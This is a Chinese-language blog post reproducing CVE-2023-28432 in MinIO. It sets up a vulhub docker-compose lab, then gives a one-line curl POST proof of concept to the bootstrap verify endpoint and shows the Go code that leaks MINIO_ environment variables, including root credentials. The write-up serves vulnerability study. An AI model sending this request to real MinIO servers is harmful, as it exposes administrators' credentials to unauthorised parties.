2023-04-03 4111357b755f0b640aad3defc651b6c0 99+ 5 分钟 0.7 k0次访问

Minio信息泄露---CVE-2023-28432

前言

Minio这个东西也是之前在挖洞的时候碰到过几次了，上周在推特上看到没来得及复现，现在来分析下。

环境搭建

漏洞利用的前提是用户分布式部署

使用vulhub的docker环境

version: '3'
services:
  node1:
    image: vulhub/minio:2023-02-27T18-10-45Z
    environment:
      - MINIO_ROOT_USER=minioadmin
      - MINIO_ROOT_PASSWORD=minioadmin-vulhub
    command:
      - minio
      - server
      - --console-address
      - :9001
      - http://node1:9000/mnt/data1
      - http://node2:9000/mnt/data2
      - http://node3:9000/mnt/data3
    ports:
      - 9000:9000
      - 9001:9001
    hostname: node1
    volumes:
      - ./mnt/data1:/mnt/data1
  node2:
    image: vulhub/minio:2023-02-27T18-10-45Z
    environment:
      - MINIO_ROOT_USER=minioadmin
      - MINIO_ROOT_PASSWORD=minioadmin-vulhub
    command:
      - minio
      - server
      - http://node1:9000/mnt/data1
      - http://node2:9000/mnt/data2
      - http://node3:9000/mnt/data3
    hostname: node2
    volumes:
      - ./mnt/data2:/mnt/data2
  node3:
    image: vulhub/minio:2023-02-27T18-10-45Z
    environment:
      - MINIO_ROOT_USER=minioadmin
      - MINIO_ROOT_PASSWORD=minioadmin-vulhub
    command:
      - minio
      - server
      - http://node1:9000/mnt/data1
      - http://node2:9000/mnt/data2
      - http://node3:9000/mnt/data3
    hostname: node3
    volumes:
      - ./mnt/data3:/mnt/data3

docker-compose up

访问http://your-ip:9001可以查看Web管理页面，访问http://your-ip:9000是API服务。

漏洞分析

https://github.com/minio/minio/security/advisories/GHSA-6xvq-wj2x-3h3q

漏洞poc

curl -X POST http://127.0.0.1:9000/minio/bootstrap/v1/verify

看github的通告可知主要代码问题出现在

// minio/cmd/bootstrap-peer-server.go
func (b *bootstrapRESTServer) VerifyHandler(w http.ResponseWriter, r *http.Request) {
  ctx := newContext(r, w, "VerifyHandler")
  cfg := getServerSystemCfg()
  logger.LogIf(ctx, json.NewEncoder(w).Encode(&cfg))
}

// minio/cmd/bootstrap-peer-server.go
func getServerSystemCfg() ServerSystemConfig {
  envs := env.List("MINIO_")
  envValues := make(map[string]string, len(envs))
  for _, envK := range envs {
    // skip certain environment variables as part
    // of the whitelist and could be configured
    // differently on each nodes, update skipEnvs()
    // map if there are such environment values
    if _, ok := skipEnvs[envK]; ok {
      continue
    }
    envValues[envK] = env.Get(envK, "")
  }
  return ServerSystemConfig{
    MinioEndpoints: globalEndpoints,
    MinioEnv:       envValues,
  }
}